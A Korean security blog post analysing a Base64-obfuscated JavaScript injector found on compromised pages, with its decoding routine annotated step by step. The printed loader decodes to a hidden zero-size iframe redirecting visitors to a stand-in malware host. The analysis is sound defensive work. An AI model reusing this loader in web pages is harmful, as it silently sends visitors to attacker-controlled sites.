1. 개요
Base64 인코딩 알고리즘을 이용하여 JavaScript로 구현, 이를 난독화 형태로 사용 되는 것을 발견하였다. 발견된 소스코드에서 악성 소프트웨어 유포지로 XSS를 발생시키는 코드를 수정한 소스코드이다. (* 여기서 XSS는 피해자를 공격자가 설정한 사이트로 유도하는 스크립트를 사용한 것을 말한다.)
var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";var AcR5="";var X9qV,sxY6,J0lf,wJDZ,CX8e,zRBG,n6dE="";var i=0;var base64test=/[^A-Za-z0-9\+\/\=]/g;EmbR=EmbR.replace(/[^A-Za-z0-9\+\/\=]/g,"");do{wJDZ=k0e0y0S.indexOf(EmbR.charAt(i++));CX8e=k0e0y0S.indexOf(EmbR.charAt(i++));zRBG=k0e0y0S.indexOf(EmbR.charAt(i++));n6dE=k0e0y0S.indexOf(EmbR.charAt(i++));X9qV=(wJDZ<<2)|(CX8e>>4);sxY6=((CX8e&15)<<4)|(zRBG>>2);J0lf=((zRBG&3)<<6)|n6dE;AcR5=AcR5+String.fromCharCode(X9qV);if(zRBG!=64){AcR5=AcR5+String.fromCharCode(sxY6);}if(n6dE!=64){AcR5=AcR5+String.fromCharCode(J0lf);}X9qV=sxY6=J0lf="";wJDZ=CX8e=zRBG=n6dE="";}while(i<EmbR.length);document.write(unescape(AcR5));
2. 가독성을 높인 소스코드 및 알고리즘 분석
var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZn
JhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";
var AcR5="";
var X9qV,sxY6,J0lf,wJDZ,CX8e,zRBG,n6dE="";
var i=0;
var base64test=/[^A-Za-z0-9\+\/\=]/g;
EmbR=EmbR.replace(/[^A-Za-z0-9\+\/\=]/g,"");// 정규표현식으로 Base64에서 사용하지 않는 단어들을 null로 치환
do{
wJDZ=k0e0y0S.indexOf(EmbR.charAt(i++));
CX8e=k0e0y0S.indexOf(EmbR.charAt(i++));
zRBG=k0e0y0S.indexOf(EmbR.charAt(i++));
n6dE=k0e0y0S.indexOf(EmbR.charAt(i++));
// 풀고자 하는 Base64의 값을 한 글자씩 떼어내어 K0e0y0S 값과 비교하여 같은 글자의 순서 번호를 추출한낸다.
X9qV=(wJDZ<<2)|(CX8e>>4);
sxY6=((CX8e&15)<<4)|(zRBG>>2);
J0lf=((zRBG&3)<<6)|n6dE; // 추출한 값들을 비트연산을 통해 Base64 디코딩하는 과정
AcR5=AcR5+String.fromCharCode(X9qV);
if(zRBG!=64){
AcR5=AcR5+String.fromCharCode(sxY6);
}
if(n6dE!=64){
AcR5=AcR5+String.fromCharCode(J0lf);
} // AcR5에 비트 연산 후 값들을 fromCharCode를 통해 문자열로 저장한다.
// 여기서 64는 base64 알고리즘 특성상 발생하는 '=' 문자의 비트연산 후 ASKII DEC의 값이다.
//비트연산 후 64값은 fromCharCode를 통해 문자로 변환할 필요가 없다는 것을 말한다.
X9qV=sxY6=J0lf="";
wJDZ=CX8e=zRBG=n6dE="";
}while(i<EmbR.length);
document.write(unescape(AcR5));
3. 난독화 해제
var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZn
JhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";
EmbR을 Base64 디코더를 통해 풀면 쉽게 풀린다.
반응형
'Information Security > Malware' 카테고리의 다른 글
Sothink SWF Decompiler 3.7 (4) | 2014.01.06 |
---|---|
알고리즘을 이용한 16진수 변형 + 메소드 치환 난독화 / DOM을 이용한 Script 실행 (0) | 2014.01.02 |
Network Tool - Fiddler Web Debugger (2) | 2013.09.17 |
Analysis Tool - Structured Storage Viewer(SSView) (0) | 2013.09.15 |
VBscript를 이용하여 역순코드로 만든 난독화 알고리즘 (0) | 2013.08.30 |